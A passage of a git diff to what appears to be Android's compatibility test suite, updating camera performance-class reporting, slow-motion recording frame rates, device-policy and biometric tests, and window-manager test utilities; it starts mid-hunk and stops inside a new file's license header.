+ hwLevelReq.setPrimaryRearCameraHwlLevel(-1);
+ timestampSourceReq.setRearCameraTimestampSource(
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+ rearRawReq.setRearRawSupported(false);
+ hfrReq.setRear240FpsSupported(false);
+ ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(false);
+ previewStabilizationReq.setRearPreviewStabilizationSupported(false);
+ logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(false);
+ streamUseCaseReq.setRearStreamUseCaseSupported(false);
}
if (primaryFrontId == null) {
- mCollector.expectTrue("There must be a primary front camera for performance class.",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
- primaryCameras.add(primaryFrontId);
+ primaryFrontReq.setPrimaryCameraSupported(false);
+ primaryFrontReq.setResolution(-1);
+ primaryFrontReq.setVideoSizeReqSatisfied(false);
+ primaryFrontReq.setVideoFps(-1);
+ hwLevelReq.setPrimaryFrontCameraHwlLevel(-1);
+ timestampSourceReq.setFrontCameraTimestampSource(
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+ ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
+ previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
+ logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false);
+ streamUseCaseReq.setFrontStreamUseCaseSupported(false);
}
// H-1-11
Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds();
+ Set<String> primaryCameras = new HashSet<>(Arrays.asList(primaryRearId, primaryFrontId));
boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras);
- mCollector.expectTrue("Concurrent primary front and primary back streaming must be "
- + "supported", !assertTPerfClass || supportPrimaryFrontBack);
- perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack,
- perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue("concurrent front back support", supportPrimaryFrontBack,
- ResultType.NEUTRAL, ResultUnit.NONE);
-
- reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
- final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
- perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
- perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
- perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
- perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
- perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-9",
- perfClassLevelH19, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-10",
- perfClassLevelH110, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-11",
- perfClassLevelH111, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-12",
- perfClassLevelH112, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-13",
- perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14",
- perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit(InstrumentationRegistry.getInstrumentation());
+ concurrentRearFrontReq.setConcurrentRearFrontSupported(supportPrimaryFrontBack);
+
+ pce.submitAndCheck();
}
/**
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3c88a3a445c..c9c28eac4bf 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1234,8 +1234,13 @@ public class RecordingTest extends Camera2SurfaceViewTestCase {
mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" +
captureRate + "fps_" + id + "_" + size.toString() + ".mp4";
- Log.v(TAG, "previewFrameRate:" + previewFrameRate);
- prepareRecording(size, previewFrameRate, captureRate);
+
+ // b/239101664 It appears that video frame rates higher than 30 fps may not
+ // trigger slow motion recording consistently.
+ int videoFrameRate = previewFrameRate > VIDEO_FRAME_RATE ?
+ VIDEO_FRAME_RATE : previewFrameRate;
+ Log.v(TAG, "videoFrameRate:" + videoFrameRate);
+ prepareRecording(size, videoFrameRate, captureRate);
SystemClock.sleep(PREVIEW_DURATION_MS);
@@ -1243,7 +1248,7 @@ public class RecordingTest extends Camera2SurfaceViewTestCase {
SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
// Start recording
- startSlowMotionRecording(/*useMediaRecorder*/true, previewFrameRate,
+ startSlowMotionRecording(/*useMediaRecorder*/true, videoFrameRate,
captureRate, fpsRange, resultListener,
/*useHighSpeedSession*/true);
@@ -1256,7 +1261,7 @@ public class RecordingTest extends Camera2SurfaceViewTestCase {
startConstrainedPreview(fpsRange, previewResultListener);
// Convert number of frames camera produced into the duration in unit of ms.
- float frameDurationMs = 1000.0f / previewFrameRate;
+ float frameDurationMs = 1000.0f / videoFrameRate;
float durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
// Validation.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index e8d616880e7..4a86b49e51a 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -142,8 +142,6 @@ public class CameraTestUtils extends Assert {
public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
- public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
- public static final String MPC_STREAM_NAME = "CameraCts";
private static final int EXIF_DATETIME_LENGTH = 19;
private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -3815,33 +3813,6 @@ public class CameraTestUtils extends Assert {
return zoomRatios;
}
- public static final int PERFORMANCE_CLASS_NOT_MET = 0;
- public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
- public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
- public static final int PERFORMANCE_CLASS_T = Build.VERSION_CODES.S + 2;
- public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_T;
-
- /**
- * Check whether this mobile device is R performance class as defined in CDD
- */
- public static boolean isRPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R;
- }
-
- /**
- * Check whether this mobile device is S performance class as defined in CDD
- */
- public static boolean isSPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S;
- }
-
- /**
- * Check whether this mobile device is T performance class as defined in CDD
- */
- public static boolean isTPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_T;
- }
-
/**
* Check whether a camera Id is a primary rear facing camera
*/
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index fc8c4db5164..f1886859d67 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -229,6 +229,13 @@ public class StaticMetadata {
* at least the desired one (but could be higher)
*/
public boolean isHardwareLevelAtLeast(int level) {
+ int deviceLevel = getHardwareLevelChecked();
+
+ return hardwareLevelPredicate(deviceLevel, level);
+ }
+
+ // Return true if level1 is at least level2
+ public static boolean hardwareLevelPredicate(int level1, int level2) {
final int[] sortedHwLevels = {
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY,
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL,
@@ -236,19 +243,19 @@ public class StaticMetadata {
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL,
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3
};
- int deviceLevel = getHardwareLevelChecked();
- if (level == deviceLevel) {
+
+ if (level1 == level2) {
return true;
}
for (int sortedlevel : sortedHwLevels) {
- if (sortedlevel == level) {
+ if (sortedlevel == level2) {
return true;
- } else if (sortedlevel == deviceLevel) {
+ } else if (sortedlevel == level1) {
return false;
}
}
- Assert.fail("Unknown hardwareLevel " + level + " and device hardware level " + deviceLevel);
+ Assert.fail("Unknown hardwareLevel " + level1 + " and device hardware level " + level2);
return false;
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
index 2c3934ccc75..bdf4bc6fde2 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
@@ -27,6 +27,7 @@ import android.os.UserManager;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
@@ -52,6 +53,7 @@ public class CloneProfileDeviceOwnerTest {
@EnsureHasDeviceOwner
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@RequireRunOnPrimaryUser
+ @RequireMultiUserSupport
public void createCloneProfile_hasDeviceOwner_fails() {
assertThrows(NeneException.class,
() -> TestApis.users().createUser()
@@ -67,6 +69,7 @@ public class CloneProfileDeviceOwnerTest {
@EnsureHasNoDeviceOwner
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@RequireRunOnPrimaryUser
+ @RequireMultiUserSupport
public void createCloneProfile_noDeviceOwner_succeeds() {
UserReference cloneUser = TestApis.users().createUser()
.parent(TestApis.users().instrumented())
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
index 2688d11b415..9c2714c97d9 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -23,6 +23,7 @@ import static org.junit.Assume.assumeTrue;
import static org.testng.Assert.assertThrows;
import android.app.admin.RemoteDevicePolicyManager;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.provider.Telephony;
@@ -65,6 +66,7 @@ public final class DefaultSmsApplicationTest {
private ComponentName mAdmin;
private RemoteDevicePolicyManager mDpm;
private TelephonyManager mTelephonyManager;
+ private RoleManager mRoleManager;
@Before
public void setUp() {
@@ -72,13 +74,15 @@ public final class DefaultSmsApplicationTest {
mAdmin = dpc.componentName();
mDpm = dpc.devicePolicyManager();
mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
+ mRoleManager = sContext.getSystemService(RoleManager.class);
}
// TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
@Postsubmit(reason = "new test")
@PolicyAppliesTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_works() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -93,7 +97,8 @@ public final class DefaultSmsApplicationTest {
@Postsubmit(reason = "new test")
@PolicyDoesNotApplyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_unchanged() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -108,7 +113,8 @@ public final class DefaultSmsApplicationTest {
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_smsPackageDoesNotExist_unchanged() {
- assumeTrue(mTelephonyManager.isSmsCapable());
+ assumeTrue(mTelephonyManager.isSmsCapable()
+ || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
mDpm.setDefaultSmsApplication(mAdmin, FAKE_SMS_APP_NAME);
@@ -135,7 +141,8 @@ public final class DefaultSmsApplicationTest {
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = DefaultSmsApplication.class)
public void setDefaultSmsApplication_notSmsCapable_unchanged() {
- assumeTrue(!mTelephonyManager.isSmsCapable());
+ assumeTrue(!mTelephonyManager.isSmsCapable()
+ && (mRoleManager == null || !mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
String previousSmsAppName = getDefaultSmsPackage();
try (TestAppInstance smsApp = sSmsApp.install()) {
mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
index 286ccae00a8..1c35d480d81 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagementRoleHolderTest.java
@@ -54,6 +54,7 @@ import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
import com.android.bedstead.harrier.annotations.EnsureHasPermission;
import com.android.bedstead.harrier.annotations.Postsubmit;
import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -65,6 +66,7 @@ import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.CddTest;
import com.android.eventlib.truth.EventLogsSubject;
import com.android.queryable.queries.ActivityQuery;
@@ -140,6 +142,7 @@ public class DevicePolicyManagementRoleHolderTest {
@EnsureHasNoDpc
@EnsureHasNoSecondaryUser
@Test
+ @CddTest(requirements = {"3.9.4/C-3-1"})
public void createAndProvisionManagedProfile_roleHolderIsInWorkProfile()
throws ProvisioningException, InterruptedException {
UserHandle profile = null;
@@ -172,7 +175,9 @@ public class DevicePolicyManagementRoleHolderTest {
@EnsureHasDeviceOwner
@RequireRunOnPrimaryUser
@EnsureHasNoSecondaryUser
+ @RequireMultiUserSupport
@Test
+ @CddTest(requirements = {"3.9.4/C-3-1"})
public void createAndManageUser_roleHolderIsInManagedUser() throws InterruptedException {
UserHandle managedUser = null;
String roleHolderPackageName = null;
@@ -313,6 +318,7 @@ public class DevicePolicyManagementRoleHolderTest {
@EnsureHasNoWorkProfile
@RequireRunOnPrimaryUser
@EnsureHasNoDpc
+ @RequireMultiUserSupport
public void shouldAllowBypassingDevicePolicyManagementRoleQualification_withUsers_returnsFalse()
throws Exception {
resetInternalShouldAllowBypassingState();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
index 11b5fd40842..ae9ced5fd3a 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -54,7 +54,6 @@ import static org.junit.Assert.assertThrows;
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.annotation.RequiresFeature;
import android.app.AppOpsManager;
import android.app.admin.DevicePolicyManager;
import android.app.admin.FullyManagedDeviceProvisioningParams;
@@ -106,6 +105,7 @@ import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.users.UserType;
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestAppInstance;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.SystemUtil;
import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
@@ -1354,7 +1354,8 @@ public final class DevicePolicyManagerTest {
@RequireRunOnSecondaryUser
@EnsureHasNoProfileOwner
@RequireNotHeadlessSystemUserMode
- @RequiresFeature(FEATURE_DEVICE_ADMIN)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#checkProvisioningPrecondition")
public void checkProvisioningPreCondition_actionDO_onNonSystemUser_returnsNotSystemUser() {
boolean setupComplete = TestApis.users().current().getSetupComplete();
TestApis.users().current().setSetupComplete(false);
@@ -1375,6 +1376,8 @@ public final class DevicePolicyManagerTest {
@Postsubmit(reason = "New test")
@Test
@EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#setUserProvisioningState")
public void setUserProvisioningState_withoutRequiredPermission_throwsSecurityException() {
assertThrows(SecurityException.class, () ->
sDevicePolicyManager.setUserProvisioningState(
@@ -1667,6 +1670,8 @@ public final class DevicePolicyManagerTest {
@RequireRunOnPrimaryUser
@EnsureHasSecondaryUser
@EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
+ @RequireFeature(FEATURE_DEVICE_ADMIN)
+ @ApiTest(apis = "android.app.admin.DevicePolicyManager#finalizeWorkProfileProvisioning")
public void finalizeWorkProfileProvisioning_managedUser_throwsException() {
RemoteDpc dpc = RemoteDpc.setAsProfileOwner(sDeviceState.secondaryUser());
try {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index fcf71d0a19c..dfe77fb4121 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -45,6 +45,7 @@ import com.android.bedstead.harrier.policies.UserControlDisabledPackages;
import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.utils.Poll;
import com.android.bedstead.testapp.TestApp;
import com.android.bedstead.testapp.TestAppInstance;
import com.android.queryable.queries.StringQuery;
@@ -235,6 +236,11 @@ public final class UserControlDisabledPackagesTest {
private void assertPackageStopped(String packageName)
throws Exception {
+ Poll.forValue("Package " + packageName + " stopped", () -> isPackageStopped(packageName))
+ .toBeEqualTo(true)
+ .errorOnFail()
+ .await();
+
assertWithMessage("Package %s not stopped", packageName)
.that(isPackageStopped(packageName)).isTrue();
}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
index 07d6cc8f48e..2f7339ad1b7 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
@@ -40,6 +40,7 @@ import android.util.Log;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import org.junit.Ignore;
import org.junit.Test;
/**
@@ -237,6 +238,8 @@ public class BiometricActivityTests extends BiometricTestBase {
assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
}
+ // TODO(b/236763921): fix this test and unignore.
+ @Ignore
@Test
public void testBiometricOnly_negativeButtonInvoked() throws Exception {
assumeTrue(Utils.isFirstApiLevel29orGreater());
@@ -285,6 +288,8 @@ public class BiometricActivityTests extends BiometricTestBase {
}
+ // TODO(b/236763921): fix this test and unignore.
+ @Ignore
@Test
public void testBiometricOrCredential_credentialButtonInvoked_biometricEnrolled()
throws Exception {
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
index fd42e71cc06..30af1e78562 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -43,6 +43,7 @@ import android.util.Log;
import com.android.server.biometrics.nano.SensorStateProto;
+import org.junit.Ignore;
import org.junit.Test;
import org.mockito.ArgumentCaptor;
@@ -301,7 +302,10 @@ public class BiometricSimpleTests extends BiometricTestBase {
*
* Upon successful authentication, checks that the result is
* {@link BiometricPrompt#AUTHENTICATION_RESULT_TYPE_BIOMETRIC}
+ *
+ * TODO(b/236763921): fix this test and unignore.
*/
+ @Ignore
@Test
public void testSimpleBiometricAuth_nonConvenience() throws Exception {
assumeTrue(Utils.isFirstApiLevel29orGreater());
diff --git a/tests/framework/base/localeconfig/Android.bp b/tests/framework/base/localeconfig/Android.bp
index 80b00f3e49d..a0485a43655 100644
--- a/tests/framework/base/localeconfig/Android.bp
+++ b/tests/framework/base/localeconfig/Android.bp
@@ -43,6 +43,7 @@ android_test {
sdk_version: "test_current",
data: [
+ ":CtsMalformedInputTests",
":CtsNoLocaleConfigTagTests",
],
per_testcase_directory: true,
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 168ee3f24b6..b786d833b67 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -67,6 +67,7 @@ android_test {
"cts-wm-overlayapp-base",
"cts-wm-shared",
"platform-compat-test-rules",
+ "cts_window_jetpack_utils",
],
test_suites: [
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 39c3d3ecbfd..84d22f3a864 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -38,6 +38,8 @@
android:enableOnBackInvokedCallback="true"
android:testOnly="true">
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="androidx.window.extensions"
+ android:required="false" />
<activity android:name="android.server.wm.ActivityManagerTestBase$ConfigChangeHandlingActivity"
android:resizeableActivity="true"
@@ -490,7 +492,7 @@
<activity android:name="android.server.wm.CompatChangeTests$NonResizeableLargeAspectRatioActivity"
android:resizeableActivity="false"
android:screenOrientation="portrait"
- android:minAspectRatio="3"
+ android:minAspectRatio="4"
android:exported="true"/>
<activity android:name="android.server.wm.CompatChangeTests$SupportsSizeChangesPortraitActivity"
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 94c1f1a044a..bd26452edfe 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -760,7 +760,7 @@ public class BackgroundActivityLaunchTest extends ActivityManagerTestBase {
if (objectText == null) {
continue;
}
- if (objectText.equalsIgnoreCase("CREATE")) {
+ if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) {
object.click();
buttonClicked = true;
break;
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
index 5dad58200b6..477cc8d7f4b 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -16,6 +16,7 @@
package android.server.wm.jetpack.utils;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
@@ -28,6 +29,7 @@ import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.content.ComponentName;
@@ -51,6 +53,7 @@ import com.android.compatibility.common.util.PollingCheck;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
+import java.util.Objects;
import java.util.function.Predicate;
/**
@@ -216,19 +219,13 @@ public class ActivityEmbeddingUtil {
/**
* Attempts to start an activity from a different UID into a split, verifies that activity
- * start did not succeed and no new split is active.
+ * did not start on splitContainer successfully and no new split is active.
*/
public static void startActivityCrossUidInSplit_expectFail(@NonNull Activity primaryActivity,
@NonNull ComponentName secondActivityComponent,
@NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
- boolean startExceptionObserved = false;
- try {
- startActivityFromActivity(primaryActivity, secondActivityComponent, "secondActivityId",
+ startActivityFromActivity(primaryActivity, secondActivityComponent, "secondActivityId",
Bundle.EMPTY);
- } catch (SecurityException e) {
- startExceptionObserved = true;
- }
- assertTrue(startExceptionObserved);
// No split should be active, primary activity should be covered by the new one.
assertNoSplit(primaryActivity, splitInfoConsumer);
@@ -453,6 +450,13 @@ public class ActivityEmbeddingUtil {
}
}
+ public static void assumeActivityEmbeddingSupportedDevice() {
+ assumeExtensionSupportedDevice();
+ assumeTrue("Device does not support ActivityEmbedding",
+ Objects.requireNonNull(getWindowExtensions())
+ .getActivityEmbeddingComponent() != null);
+ }
+
private static void assertSplitInfoTopSplitIsCorrect(@NonNull List<SplitInfo> splitInfoList,
@NonNull Activity primaryActivity, @NonNull Activity secondaryActivity) {
assertFalse("Split info callback should not be empty", splitInfoList.isEmpty());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index b2790bbc6ed..719e666c3f7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -286,6 +286,8 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
}
final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
assertSizesAreSane(initialFullscreenSizes, dockedSizes);
+ final boolean orientationChanged =
+ initialFullscreenSizes.orientation != dockedSizes.orientation;
separateTestJournal();
// Restore to fullscreen.
@@ -298,10 +300,17 @@ public class AppConfigurationTests extends MultiDisplayTestBase {
// (dock task was minimized), start the activity again to ensure the activity is at
// foreground.
launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
- assertActivityLifecycle(activityName, relaunch);
- final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName);
+ if (relaunch && !orientationChanged) {
+ // If there is no orientation changes while moving the non-resizeable activity out of
+ // the split, the Activity won't be relaunched because size changes won't cross the
+ // size config buckets. So, there won't be any lifecycle changes.
+ waitForOnMultiWindowModeChanged(activityName);
+ } else {
+ assertActivityLifecycle(activityName, relaunch);
+ }
- // After activity configuration was changed twice it must report same size as original one.
+ // It must report same size as original one after split-screen dismissed.
+ final SizeInfo finalFullscreenSizes = getLastReportedSizesForActivity(activityName);
assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
new file mode 100644
index 00000000000..a26d3c2dbc9
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
